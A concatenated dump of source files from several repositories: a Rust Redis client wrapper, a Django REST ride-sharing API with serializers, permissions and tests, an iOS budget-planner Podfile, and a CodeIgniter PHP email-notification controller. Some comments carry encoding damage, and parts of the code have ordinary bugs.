let query: RedisResult<Option<usize>> = redis_cmd("zrank")
.arg(key).arg(member)
.query_async(cli)
.await;
if let Ok(idx) = query {
Ok(idx)
} else {
Err(())
}
}
/// ่ฎพ็ฝฎๆๅฎkey็hash่กจ๏ผๅนถ่ฎพ็ฝฎๆๅฎๅญๆฎตๅๆๅฎๅผ
pub async fn hset(&mut self, key: &str, field: &str, value: &str) -> Result<Option<usize>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<Option<usize>> = redis_cmd("hset")
.arg(key).arg(field).arg(value)
.query_async(cli)
.await;
info!(" hset test key {}, field {}, value {}, {:?}", key, field, value, query);
if let Ok(num) = query {
Ok(num)
} else {
error!("set hash fail: {}, {}, {}, query: {:?}", key, field, value, query);
Err(())
}
}
/// ๅ ้คhash่กจๆๅฎkey็ๆๅฎๅญๆฎต
pub async fn hdel(&mut self, key: &str, field: &str) -> Result<u64, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<u64> = redis_cmd("hdel")
.arg(key).arg(field)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
Err(())
}
}
/// ่ทๅhash่กจๆๅฎkey็ๆๅฎๅญๆฎต
pub async fn hget(&mut self, key: &str, field: &str) -> Result<String, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<String> = redis_cmd("hget")
.arg(key).arg(field)
.query_async(cli)
.await;
if let Ok(string) = query {
Ok(string)
} else {
Err(())
}
}
}```
loge_cfg.rs
```//!# Device and Device Pool
//! Log config
//! ```
//! // Init the logger level is warning
//! loge_cfg::log_init(Some("warn"))?;
//! // Default the logger level is trace
//! loge_cfg::log_init(None)?;
//! ```
use std::env;
/// Init to the logger
pub fn log_init(level: Option<&str>) -> Result<(), String> {
if let Some(le) = level {
env::set_var("RUST_LOG", le);
} else {
env::set_var("RUST_LOG", "trace");
}
env::set_var("LOGE_FORMAT", "fileline");
//loge::init();
loge::init_with_file("temp.log");
Ok(())
}
```
version.rs
```Version { minor: 48, nightly: true }
```
|
yulio94/cride
|
yulio94/cride
ratings.py
```"""Rating class serializers"""
# Django
from django.db.models import Avg
# Django REST Framework
from rest_framework import serializers
# Models
from cride.rides.models import Rating
class CreateRideRatingSerializer(serializers.ModelSerializer):
""" Create ride rating serializer."""
rating = serializers.IntegerField(min_value=1, max_value=5)
comments = serializers.CharField(required=False)
class Meta:
"""Meta class."""
model = Rating
fields = ('rating', 'comments')
def validate(self, attrs):
"""Verify that rating hasn't been before."""
user = self.context['request'].user
ride = self.context['ride']
if not ride.passengers.filter(pk=user.pk).exists():
raise serializers.ValidationError('Current user isn\'t a passenger')
query = Rating.objects.filter(rating_by=user,
ride=ride,
circle=self.context['circle'])
if query.exists():
raise serializers.ValidationError('Rating already issued.')
def create(self, validated_data):
"""Create rating."""
offered_by = self.context['ride'].offered_by
Rating.objects.create(
circle=self.context['circle'],
ride=self.context['ride'],
rating_user=self.context['request'].user,
rated_user=offered_by,
**validated_data
)
ride_average = round(
Rating.objects.create(circle=self.context['circle'],
ride=self.context['ride']
).aggregate(Avg('rating'))['rating__avg'], 1)
self.context['ride'].rating = ride_average
self.context['ride'].save()
user_avg = round(
Rating.objects.filter(
rated_user=offered_by
).aggregate(Avg('rating'))['rating__avg'],
1
)
offered_by.profile.reputation = user_avg
offered_by.profile.save()
return self.context['ride']
```
README.md
```# Comparte ride API
An application to share rides securely.
## Environment setup
### Needed tools
1. [Install docker](https://docs.docker.com/get-docker/).
2. [Install docker-compose](https://docs.docker.com/compose/install/).
3. Build images with docker compose.
```
docker-compose -f docker-compose.local.yml build
```
4. Run images with docker compose.
```
docker-compose -f docker-compose.local.yml up
```
```
__init__.py
```from cride.rides.views.rides import *
```
usecases.py
```"""Base use case"""
class BaseUseCase:
"""
Base implementation to use cases
"""
def execute(self):
"""
Execute both validation and use case
:return:
"""
self.validation()
self.use_case()
def validation(self):
"""
Run validation in models
:return:
"""
def use_case(self):
"""
Run use case
:return:
"""
```
__init__.py
```from cride.circles.models.circles import *
from cride.circles.models.meberships import *
from cride.circles.models.invitations import *
```
__init__.py
```from cride.users.models.users import User
from cride.users.models.profiles import Profile
```
test_invitations.py
```"""Invitation tests."""
# Django
from django.test import TestCase
# Django REST Framework
from rest_framework.test import APITestCase
# Models
from cride.circles.models import Invitation, Circle, Membership
from cride.users.models import User
from rest_framework.authtoken.models import Token
class InvitationManagerTestCase(TestCase):
"""Invitations manager test case."""
def setUp(self) -> None:
"""Test case setup."""
self.user = User.objects.create(
first_name='Julio',
last_name='Estrada',
email='jestrada@mail.com',
username='jestrada',
password='admin123'
)
self.circle = Circle.objects.create(
name='Facultad de Ciencias',
slug_name='fciencias',
about='Grupo oficial de la facultad de ciencias de la UNAM',
verified=True
)
def test_code_generation(self):
"""Random codes should be generated automatically."""
invitation = Invitation.objects.create(
issued_by=self.user,
circle=self.circle
)
self.assertIsNotNone(invitation.code)
def test_code_usage(self):
"""If a code is given, there's no need to create a new one."""
code = 'holamundo'
invitation = Invitation.objects.create(
issued_by=self.user,
circle=self.circle,
code=code
)
self.assertEqual(invitation.code, code)
def test_code_generation_if_duplicated(self):
"""If given code is not unique, a new one must be generated."""
code = Invitation.objects.create(
issued_by=self.user,
circle=self.circle
).code
# Create another invitation with the last code
invitation = Invitation.objects.create(
issued_by=self.user,
circle=self.circle
).code
self.assertNotEqual(code, invitation)
class MemberInvitationsAPITestCase(APITestCase):
""""""
def setUp(self) -> None:
"""Test case setup"""
self.user = User.objects.create(
first_name='Julio',
last_name='Estrada',
email='jestrada@mail.com',
username='jestrada',
password='admin123'
)
self.circle = Circle.objects.create(
name='Facultad de Ciencias',
slug_name='fciencias',
about='Grupo oficial de la facultad de ciencias de la UNAM',
verified=True
)
self.membership = Membership.objects.create(
user=self.user,
profile=self.user.profile,
circle=self.circle,
remaining_invitations=10
)
self.token = Token.objects.create(user=self.user).key
def test_response_success(self):
"""Verify request succeed."""
# url = reverse()
```
__init__.py
```from cride.users.views.users import (UserViewSet)
```
__init__.py
```from cride.rides.serializers.rides import *```
create_circle.py
```"""Business logic and uses cases of circles"""
# Utils
from cride.utils.usecases import BaseUseCase
# Models
from cride.circles.models.meberships import Membership
class CreateCircleUseCase(BaseUseCase):
"""
Create both circle and membership.
Assign the user that create the circle as an admin of the membership.
"""
def __init__(self, serializer, request):
"""
:param serializer:
"""
self.serializer = serializer
self.request = request
def use_case(self):
""""""
circle = self.serializer.save()
user = self.request.user
profile = user.profile
Membership.objects.create(
user=user,
profile=profile,
circle=circle,
is_admin=True,
remaining_invitations=10
)
```
__init__.py
```from cride.users.serializers.users import (UserSignupSerializer, UserModelSerializer, AccountVerificationSerializer,
UserLoginSerializer)
from cride.users.serializers.profiles import ProfileModelSerializer
```
__init__.py
```from cride.taskapp.tasks.async_tasks import *
from cride.taskapp.tasks.periodic_tasks import *
```
memberships.py
```"""Circle membership permissions classes"""
# Django REST Framework
from rest_framework.permissions import BasePermission
# Models
from cride.circles.models import Membership
class IsActiveCircleMember(BasePermission):
"""
Allow access only to circle members.
Expected that views implementing this permission has a `circle` attribute assigned.
"""
def has_permission(self, request, view):
"""
Verify user is an active member of the circle.
"""
circle = view.circle
try:
Membership.objects.get(
user=request.user,
circle=circle,
is_active=True
)
except Membership.DoesNotExist:
return False
return True
```
invitations.py
```"""Circle invitations model."""
# Django
from django.db import models
# Utilities
from cride.utils.models import CRideModel
# Managers
from cride.circles.managers import InvitationManager
class Invitation(CRideModel):
"""
Circle invitation.
A circle invitation is a random text that acts as a unique
code that grants access to a specific circle. This codes
are generated by users that are already members of a circle and has
`remaining_invitations` value greater than 0.
"""
code = models.CharField(max_length=50,
unique=True)
issued_by = models.ForeignKey('users.User',
on_delete=models.CASCADE,
help_text='Circle member that is providing the invitation',
related_name='issued_by'
)
used_by = models.ForeignKey('users.User',
on_delete=models.CASCADE,
null=True,
help_text='User that used the code to enter the circle')
circle = models.ForeignKey('circles.Circle',
on_delete=models.CASCADE)
used = models.BooleanField(default=False)
used_at = models.DateTimeField(blank=True, null=True)
# Manager
objects = InvitationManager()
def __str__(self):
"""Return code and circle."""
return f'#{self.circle.slug_name}: {self.code}'
```
__init__.py
```from .apps import RidesConfig
```
__init__.py
```from .apps import CirclesAppConfig
```
invitations.py
```"""Invitation model permissions"""
# Django REST Framework
from rest_framework.permissions import BasePermission
class IsSelfMember(BasePermission):
"""
Check if the user that required an invitation list is the
owner of the list.
"""
def has_permission(self, request, view):
"""
Let object only to member owners.
"""
obj = view.get_object()
return obj.has_object_permission(request, view, obj)
def has_object_permission(self, request, view, obj):
"""
Allow access only if member is owned by the requesting user.
"""
return request.user == obj.user
```
__init__.py
```from cride.circles.serializers.circles import *
from cride.circles.serializers.memberships import *
```
__init__.py
```from cride.circles.managers.invitations import InvitationManager
```
__init__.py
```from cride.rides.models.rides import *
from cride.rides.models.ratings import *
```
__init__.py
```from cride.circles.views.circles import CircleViewSet
from cride.circles.views.memberships import MembershipViewSet
```
ratings.py
```"""Rating model"""
# Django
from django.db import models
# Utilities
from cride.utils.models import CRideModel
class Rating(CRideModel):
"""Model to manage user qualifications of a ride"""
rating_user = models.ForeignKey('users.User',
on_delete=models.SET_NULL,
null=True,
help_text='User that emits the rating',
related_name='rating_user')
rated_user = models.ForeignKey('users.User',
on_delete=models.SET_NULL,
null=True,
help_text='User that receives the rating.',
related_name='rated_user')
circle = models.ForeignKey('circles.Circle',
on_delete=models.CASCADE)
ride = models.ForeignKey('rides.Ride',
on_delete=models.CASCADE,
related_name='rated_ride')
comments = models.TextField(max_length=1000,
blank=True)
rating = models.PositiveSmallIntegerField(default=1)
def __str__(self):
"""String model representation"""
return '@{} rated {} @{}'.format(self.rating_user.username,
self.rating,
self.rated_user.username)
```
__init__.py
```from cride.rides.permissions.rides import *
```
periodic_tasks.py
```"""Beat tasks configuration"""
# Django
from django.utils import timezone
# Celery
from cride.taskapp.celery import app
from celery import shared_task
from celery.schedules import crontab
# Models
from cride.rides.models import Ride
# Utilities
from datetime import timedelta
@shared_task(name='disable_finished_rides')
def disable_finished_rides():
"""Disable finished rides."""
now = timezone.now()
offset = now + timedelta(seconds=5)
rides = Ride.objects.filter(arrival_date__gte=now,
arrival_date__lte=offset,
is_active=True)
rides.update(is_active=False)
app.conf.beat_schedule = {
'disable-finished-rides': {
'task': 'disable_finished_rides',
'schedule': crontab(hour=23)
}
}
```
circles.py
```"""Circle views"""
# Django REST framework
from rest_framework import viewsets, mixins
# Permissions
from rest_framework.permissions import IsAuthenticated
from cride.circles.permissions import IsCircleAdmin
# Models
from cride.circles.models import Circle
# Use case
from cride.circles.usecases.create_circle import CreateCircleUseCase
# Serializers
from cride.circles.serializers import CircleModelSerializer
# Filters
from rest_framework.filters import SearchFilter, OrderingFilter
from django_filters.rest_framework import DjangoFilterBackend
class CircleViewSet(mixins.CreateModelMixin,
mixins.RetrieveModelMixin,
mixins.UpdateModelMixin,
mixins.ListModelMixin,
viewsets.GenericViewSet):
"""
Circle view set
"""
serializer_class = CircleModelSerializer
lookup_field = 'slug_name'
# Filters
filter_backends = (SearchFilter, OrderingFilter, DjangoFilterBackend)
filter_fields = ('verified', 'is_limited')
# Search fields
search_fields = ('slug_name', 'name')
# ordering
ordering_fields = ('rides_offered', 'rides_taken', 'name', 'created', 'member_limit')
ordering = ('-members__count', '-rides_offered', '-rides_taken')
def get_queryset(self):
"""
Restrict list to public-only.
:return:
"""
queryset = Circle.objects.all()
if self.action == 'list':
queryset = Circle.objects.filter(is_public=True)
return queryset
def perform_create(self, serializer):
"""
Execute use case
:param serializer:
:return:
"""
self.execute_use_case(serializer)
def execute_use_case(self, serializer):
""""""
use_case = CreateCircleUseCase(
serializer,
self.request
)
use_case.execute()
def get_permissions(self):
"""
Assign permissions based on action.
:return:
"""
permissions = [IsAuthenticated]
if self.action in ['update', 'partial_update']:
permissions.append(IsCircleAdmin)
return [permission() for permission in permissions]
```
is_account_owner.py
```"""User permissions"""
# Django REST Framework
from rest_framework.permissions import BasePermission
class IsAccountOwner(BasePermission):
"""
Allow access only to objects owned by the requesting user
"""
message = 'You aren\'t allowed to view details about this user'
def has_object_permission(self, request, view, obj):
"""
Check obj and user are the same
:param request:
:param view:
:param obj:
:return:
"""
print(request.user, obj)
return request.user == obj
```
users.py
```"""User serializers"""
# Django rest framework
from rest_framework import serializers
from rest_framework.authtoken.models import Token
from rest_framework.validators import UniqueValidator
# Django
from django.contrib.auth import authenticate, password_validation
from django.core.validators import RegexValidator
from django.conf import settings
# Models
from cride.users.models import User, Profile
# Serializers
from cride.users.serializers.profiles import ProfileModelSerializer
# Tasks
from cride.taskapp.tasks import send_confirmation_email
# Utilities
import jwt
class AccountVerificationSerializer(serializers.Serializer):
"""
User account verification serializer.
Handle token data validation.
"""
token = serializers.CharField()
def validate_token(self, data):
"""
Verify token is valid.
:param data:
:return:
"""
try:
payload = jwt.decode(
data,
settings.SECRET_KEY,
algorithms=['HS256'],
)
except jwt.ExpiredSignatureError as e:
raise serializers.ValidationError(
'Verification link has expired.'
)
except jwt.PyJWTError as e:
raise serializers.ValidationError(
'Invalid token'
)
if payload['type'] != 'email_confirmation':
raise serializers.ValidationError(
'Invalid token'
)
self.context['payload'] = payload
return data
def save(self, **kwargs):
"""
Update users verify status
:param kwargs:
:return:
"""
payload = self.context['payload']
username = payload['user']
user = User.objects.get(username=username)
user.is_verified = True
user.save()
class UserSignupSerializer(serializers.Serializer):
"""
User sign up serializer.
Handle sign up data validation and user/profile creation.
"""
email = serializers.EmailField(
validators=[UniqueValidator(queryset=User.objects.all())]
)
username = serializers.CharField(
validators=[UniqueValidator(queryset=User.objects.all())],
min_length=4,
max_length=20,
)
# Phone number
phone_regex = RegexValidator(
regex=r'\+?1?\d{9,15}$',
message='Phone number must be entered in the format: +999999999. Up to 15 digits allowed.'
)
phone_number = serializers.CharField(
validators=[phone_regex]
)
# Password
password = serializers.CharField(
min_length=8,
max_length=64,
required=True,
)
password_confirmation = serializers.CharField(
min_length=8,
max_length=64,
required=True,
)
# Name
first_name = serializers.CharField(
min_length=2,
max_length=30,
)
last_name = serializers.CharField(
min_length=2,
max_length=30,
)
def validate(self, attrs):
"""Verify passwords match."""
password = attrs['password']
password_confirmation = attrs['password_confirmation']
if password != password_confirmation:
raise serializers.ValidationError(
'Password doesn\'t match'
)
password_validation.validate_password(password)
return attrs
def create(self, validated_data):
"""
Handle user and profile creation.
:param validated_data:
:return:
"""
validated_data.pop('password_confirmation')
user = User.objects.create_user(**validated_data,
is_verified=False,
is_client=True,
)
send_confirmation_email.delay(user.pk)
Profile.objects.create(
user=user
)
return user
class UserModelSerializer(serializers.ModelSerializer):
"""
User model serializer
"""
profile = ProfileModelSerializer(read_only=True)
class Meta:
"""Meta class."""
model = User
fields = (
'username',
'first_name',
'last_name',
'email',
'phone_number',
'profile'
)
class UserLoginSerializer(serializers.Serializer):
"""
User login serializer.
Handle the login request data.
"""
email = serializers.EmailField(
required=True
)
password = serializers.CharField(
required=True,
min_length=8,
)
def validate(self, attrs):
"""
Check credentials
"""
user = authenticate(
username=attrs['email'],
password=attrs['password']
)
if not user:
raise serializers.ValidationError(
'Invalid credentials'
)
if not user.is_verified:
raise serializers.ValidationError(
'Account is not active yet'
)
self.context['user'] = user
return attrs
def create(self, validated_data):
"""Generate or retrieve a token."""
token, created = Token.objects.get_or_create(
user=self.context['user']
)
return self.context['user'], token.key
```
__init__.py
```from .apps import UsersAppConfig
```
__init__.py
```from cride.users.permissions.is_account_owner import IsAccountOwner
```
__init__.py
```from cride.circles.permissions.circles import IsCircleAdmin
from cride.circles.permissions.memberships import IsActiveCircleMember
from cride.circles.permissions.invitations import IsSelfMember
```
circles.py
```"""Circles permissions classes."""
# Django REST Framework
from rest_framework.permissions import BasePermission
# Models
from cride.circles.models import Membership
class IsCircleAdmin(BasePermission):
"""
Allow access. only to circle admins.
"""
def has_object_permission(self, request, view, obj):
"""
Verify user have a membership in the obj.
:param request:
:param view:
:param obj:
:return:
"""
try:
Membership.objects.get(
user=request.user,
circle=obj,
is_admin=True,
is_active=True
)
except Membership.DoesNotExist:
return False
return True
```
circles.py
```"""Circle serializers"""
# Django
from rest_framework import serializers
# Models
from cride.circles.models import Circle
class CircleModelSerializer(serializers.ModelSerializer):
"""
Circle model serializer
"""
members_limit = serializers.IntegerField(
required=False,
min_value=10,
max_value=3200,
)
is_limited = serializers.BooleanField(
default=False
)
class Meta:
"""
Meta class
"""
model = Circle
fields = (
'name',
'slug_name',
'about',
'picture',
'members',
'rides_offered',
'rides_taken',
'verified',
'is_public',
'is_limited',
'members_limit',
)
read_only_fields = (
'is_public',
'verified',
'rides_offered',
'rides_taken',
)
def validate(self, attrs):
"""
Ensure both members_limit and is_limited are present.
:param attrs:
:return:
"""
members_limit = attrs.get('members_limit', None)
is_limited = attrs.get('is_limited', False)
method = self.context['request'].method
if method == 'POST' or method == 'PUT':
if is_limited ^ bool(members_limit):
raise serializers.ValidationError(
'If circle is limited, a member limit must be provided'
)
elif method == 'PATCH':
actual_member_limit = self.instance.members_limit
actual_is_limited = self.instance.is_limited
if (bool(members_limit) and actual_is_limited is False) or (is_limited and actual_member_limit == 0):
raise serializers.ValidationError(
'If circle is limited, a member_limit must be provider and is_limited must be True')
return attrs
```
|
yullee/budget-planner
|
yullee/budget-planner
GTLRGmailService.h
```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailService.h```
PLKPlaidLink.h
```../../../../Plaid/ios/LinkKit.framework/Headers/PLKPlaidLink.h```
README.md
```# budget-planner
<img width="1002" alt="screen shot 2019-02-15 at 11 04 15 am" src="https://user-images.githubusercontent.com/31649579/52829831-ab521880-3111-11e9-8142-95293cd96cf6.png">
<img width="1070" alt="screen shot 2019-02-15 at 11 04 27 am" src="https://user-images.githubusercontent.com/31649579/52829844-b6a54400-3111-11e9-867f-7833ab53c567.png">
```
PLKPlaidLinkViewController.h
```../../../../Plaid/ios/LinkKit.framework/Headers/PLKPlaidLinkViewController.h```
GTLRGmailObjects.h
```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailObjects.h```
GTLRGmailQuery.h
```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmailQuery.h```
PLKConfiguration.h
```../../../../Plaid/ios/LinkKit.framework/Headers/PLKConfiguration.h```
Podfile
```platform :ios, '8.0'
target 'Planise' do
pod 'GoogleAPIClientForREST/Gmail', '~> 1.2.1'
pod 'Google/SignIn', '~> 3.0.3'
pod 'Plaid'
end
```
GTLRGmail.h
```../../../GoogleAPIClientForREST/Source/GeneratedServices/Gmail/GTLRGmail.h```
|
yumanji/alien-paratext-776
|
yumanji/alien-paratext-776
notifications.php
```<?php
class Notifications extends Controller {
function Notifications()
{
parent::Controller();
}
function index()
{
if($this->redux_auth->logged_in()) {
$menu=array('menu' => $this->app_common->get_menu_options());
//print("<pre>");print_r($menu);print("</pre>");
//$this->session->set_userdata('message',"asasassa");
//print_r($this->session->all_userdata());
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//print_r($this->redux_auth->profile());
$data['page']='notifications/home_admin';
$profile=$this->redux_auth->profile();
$data['profile']=$profile;
$this->load->view('main', $data);
}
else {
redirect(base_url(), 'location');
exit();
}
//print ($this->redux_auth->logged_in());
}
#######################
# Funcion que permite enviar emails a grupos de usuarios
##################
function new_mail()
{
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
if($this->input->post('action') && $this->input->post('action')=="send") {
$this->load->library('comunicacion');
$tipo_comunicacion = $this->input->post('comm_type');
if(!isset($tipo_comunicacion) || $tipo_comunicacion == '') $tipo_comunicacion = '1';
$registro = array(
'subject' => $this->input->post('subject'),
'from' => $this->config->item('email_from'),
'type' => 5,
//'destination_text' => $this->input->post('destination'),
'content' => $this->input->post('content'),
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
if($this->comunicacion->send_general_notification($registro, $tipo_comunicacion)) {
$this->session->set_userdata('info_message', 'Mensaje creado.');
} else {
$this->session->set_userdata('error_message', 'Error en la creacion del mensaje.');
}
redirect(site_url('notifications/new_mail'), 'Location');
exit();
}
$this->load->library('ckeditor');
$this->load->helper('ckeditor');
//$menu=array('menu' => $this->app_common->get_menu_options());
//print("<pre>");print_r($menu);print("</pre>");
//$this->session->set_userdata('message',"asasassa");
//print_r($this->session->all_userdata());
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$editors_code = $this->load->view('editor/main', array('textbox_id' => 'content', 'style' => 'width:100%'), true);
//$contenido = $this->load->view('notifications/new_mail', array('editors_code' => $editors_code), true);
//print_r($this->redux_auth->profile());
$data['editors_code']=$editors_code;
$data['page']='notifications/new_mail';
$profile=$this->redux_auth->profile();
$data['profile']=$profile;
$this->load->view('main', $data);
//print ($this->redux_auth->logged_in());
}
function new_single_mail()
{
if($this->redux_auth->logged_in()) {
$this->load->library('ckeditor');
$this->load->helper('ckeditor');
$menu=array('menu' => $this->app_common->get_menu_options());
//print("<pre>");print_r($menu);print("</pre>");
//$this->session->set_userdata('message',"asasassa");
//print_r($this->session->all_userdata());
$data=array(
'meta' => $this->load->view('meta', '', true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$editors_code = $this->load->view('editor/main', array('textbox_id' => 'content', 'style' => 'width:100%'), true);
$contenido = $this->load->view('notifications/new_single_mail', array('editors_code' => $editors_code), true);
//print_r($this->redux_auth->profile());
$data['page']='notifications/new_single_mail';
$profile=$this->redux_auth->profile();
$data['profile']=$profile;
$this->load->view('main', $data);
}
else {
redirect(base_url(), 'location');
exit();
}
//print ($this->redux_auth->logged_in());
}
function create_notification()
{
$this->load->model('Notifications_model', 'mails', TRUE);
$registro = array(
'subject' => 'Mail de prueba',
'from' => $this->config->item('email_from'),
'destination_text' => 'jorge.egalite@gmail.com',
'content' => '<b>texto de prueba</b> enviado desde el "enviador automático" y creado con un objeto apropiado..<br> ahi vaaaa... <i>además con HTML y formatos</i>',
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
if($this->mails->createNotificationMessage($registro)) {
echo "Mail creado guay";
} else {
echo "Mail creado con errores";
}
//print("<pre>");print_r($mails);print("</pre>");
echo "Fin";
}
function create_single_notification()
{
$this->load->model('Notifications_model', 'mails', TRUE);
$registro = array(
'subject' => $this->input->post('subject'),
'from' => $this->config->item('email_from'),
'destination_text' => $this->input->post('destination'),
'content' => $this->input->post('content'),
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
if($this->mails->createNotificationMessage($registro)) {
//echo "Mail creado guay";
$this->session->set_userdata('info_message', 'Mail creado satisfactoriamente y puesto en cola de espera para su envío.');
redirect(site_url('notifications'), 'location');
exit();
} else {
$this->session->set_userdata('error_message', 'Error en la creaciรณn del email. Imposible su envío.');
redirect(site_url('notifications'), 'location');
exit();
}
//print("<pre>");print_r($mails);print("</pre>");
echo "Fin";
}
function create_single_notification_by_id()
{
$this->load->model('Notifications_model', 'mails', TRUE);
$registro = array(
'subject' => $this->input->post('subject'),
'from' => $this->config->item('email_from'),
'destination_id' => $this->input->post('id_destination'),
'destination_text' => '',
'content' => $this->input->post('content'),
'active' => 1,
'create_user' => $this->session->userdata('user_id'),
'create_ip' => $this->session->userdata('ip_address'),
'create_time' => date(DATETIME_DB)
);
if($this->mails->createNotificationMessage($registro)) {
//echo "Mail creado guay";
$this->session->set_userdata('info_message', 'Mail creado satisfactoriamente y puesto en cola de espera para su envío.');
redirect(site_url('notifications'), 'location');
exit();
} else {
echo "Mail creado con errores";
$this->session->set_userdata('error_message', 'Error en la creaciรณn del email. Imposible su envío.');
redirect(site_url('notifications'), 'location');
exit();
}
//print("<pre>");print_r($mails);print("</pre>");
echo "Fin";
}
function automated_send()
{
$this->load->model('Notifications_model', 'mails', TRUE);
$mails = $this->mails->getNextMessages(); //Llamo a la funciรณn que devuelve el objeto resultset y directamente llamo al result_array() sobre รฉl
$timestamp = time();
//print_r($mails); exit();
# Recorro el array de mails
foreach($mails as $mail) {
# Traza de tiempo
$mail['content'] .= '<br> <br> <br><h6>id: '.$mail['id'].' - start: '.$timestamp.' - launch: '.time().'</h6>';
$this->email->clear();
$this->email->set_newline("\r\n");
//$this->email->from($mail['from'], $mail['from']); // Direccion de origen y nombre
$this->email->from($this->config->item('email_from'), $this->config->item('email_from_desc')); // Direccion de origen y nombre
$this->email->to($mail['destination_text']);
if($this->config->item('reserve_admin_notification_cc')) $this->email->bcc($this->config->item('reserve_admin_notification_mail'));
if($this->config->item('email_reply_to')) $this->email->reply_to($this->config->item('email_reply_to_address'));
//$this->email->to('juanjo.nieto@gmail.com');
$this->email->subject($mail['subject']);
$this->email->message($mail['content']);
if($this->email->send()) {
//echo 'Email con id '.$mail['id'].' enviado satisfactoriamente.<br>';
$this->mails->setMessageSended($mail['id']); //Llamo a la funciรณn que devuelve el objeto resultset y directamente llamo al result_array() sobre รฉl
} else {
//echo 'Error en envio de mail '.$mail['id'].'<br>';
$this->mails->setMessageFailed($mail['id'],$this->email->print_debugger());
}
}
//print("<pre>");print_r($mails);print("</pre>");
//echo "Fin";
exit();
}
# -------------------------------------------------------------------
# Listado general de los envios de mails usando el jqGrid
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function list_all()
{
$this->load->helper('jqgrid');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
$panel_permission = $this->config->item('mails_visualization_permission');
if(!$panel_permission[$user_group]) {
$this->session->set_userdata('error_message','No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true},
{name:'type_desc',index:'type', width:10, align:'center', datefmt:'dd/mm/Y', date:true, sorttype:'date'},
{name:'destination_type_desc', index:'destination_type', width:10, align:'center', editable:true},
{name:'status_description', index:'status', width:10, align:'center', editable:true},
{name:'subject', index:'subject', width:30, align:'center', editable:true},
{name:'active',index:'active', width:5, align:'center'},
{name:'start_process', index:'start_process', width:13, align:'center'},
{name:'end_process', index:'end_process', width:13, align:'center'},
";
$colnames = "'Id','Tipo','Destinatario','Estado Envio','Asunto','Activo','Inicio', 'Fin'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "notifications/jqgrid_list_all",
'title' => 'Listado de comunicaciones',
'default_orderfield' => 'id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '990',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 990; height: 660px; float: right;">'.jqgrid_creator($para_grid).'</div>';
$menu_lateral = '';//$this->load->view('reservas_gest/menu_lateral', '', true);
//, 'enable_submenu' => $this->load->view('notifications/submenu_navegacion', array(), true)
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'form_name' => 'frmGrid',
'main_content' => $this->load->view('notifications/list_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => $menu_lateral), true),
//'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->session->set_flashdata('returnOkUrl', site_url('notifications/list_all'));
$this->session->set_flashdata('returnKoUrl', site_url('notifications/list_all'));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de reservas para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function jqgrid_list_all ($add_params = NULL)
{
$this->load->model('Notifications_model', 'mails', TRUE);
$where = '';
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
